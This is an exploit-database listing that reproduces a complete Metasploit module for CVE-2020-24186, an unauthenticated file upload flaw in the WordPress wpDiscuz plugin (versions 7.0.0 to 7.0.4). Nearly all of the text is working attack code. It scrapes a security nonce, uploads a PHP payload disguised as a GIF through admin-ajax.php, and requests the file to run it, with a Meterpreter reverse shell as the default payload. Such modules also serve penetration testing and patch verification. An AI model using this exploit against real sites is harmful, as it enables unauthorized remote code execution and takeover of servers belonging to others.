Lucene search

K
zdtMetasploit1337DAY-ID-36482
HistoryJun 28, 2021 - 12:00 a.m.

WordPress wpDiscuz 7.0.4 Shell Upload Exploit

2021-06-2800:00:00
metasploit
0day.today
258

0.975 High

EPSS

Percentile

100.0%

This Metasploit module exploits an arbitrary file upload in the WordPress wpDiscuz plugin versions from 7.0.0 through 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable server.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability',
        'Description' => %q{
          This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
          versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
          to upload arbitrary files, including PHP files, and achieve remote code execution on a
          vulnerable site’s server.
        },
        'Author' =>
            [
              'Chloe Chamberland', # Vulnerability Discovery, initial msf module
              'Hoa Nguyen - SunCSR'  # Metasploit Module enhancement
            ],
        'License' => MSF_LICENSE,
        'References' =>
            [
              ['CVE', '2020-24186'],
              ['WPVDB', '10333'],
              ['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
              ['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
              ['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
            ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['wpDiscuz < 7.0.5', {}]],
        'DisclosureDate' => '2020-02-21',
        'DefaultOptions' =>
          {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp'
          },
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
      )
      )

    register_options [
      OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]),
    ]
  end

  def check
    check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')
  end

  def blogpath
    datastore['BLOGPATH']
  end

  def find_wmusecurity_id
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) })
    fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res

    wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures
    unless wmusecurity_id
      fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id')
    end

    wmusecurity_id
  end

  def exploit
    wmusecurity_id = find_wmusecurity_id[0]
    php_page_name = "#{rand_text_alpha(5..12)}.php"
    data = Rex::MIME::Message.new
    data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
    data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
    data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
    data.add_part('1', nil, nil, 'form-data; name="postId"')
    data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
    post_data = data.to_s

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    )

    fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res
    unless res.code == 200 && res.body =~ /#{php_page_name}/
      fail_with(Failure::UnexpectedReply, 'Unable to deploy payload')
    end

    json_data = JSON.parse(res.body)
    upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url')
    fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url
    wp_shell_upload = upload_url.split('/').last
    fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php')
    print_good("Payload uploaded as #{php_page_name}")
    register_file_for_cleanup(php_page_name)

    print_status('Calling payload...')
    time = Time.new
    year = time.year.to_s
    month = format('%02d', time.month)
    send_request_cgi(
      { 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) }
    )
  end
end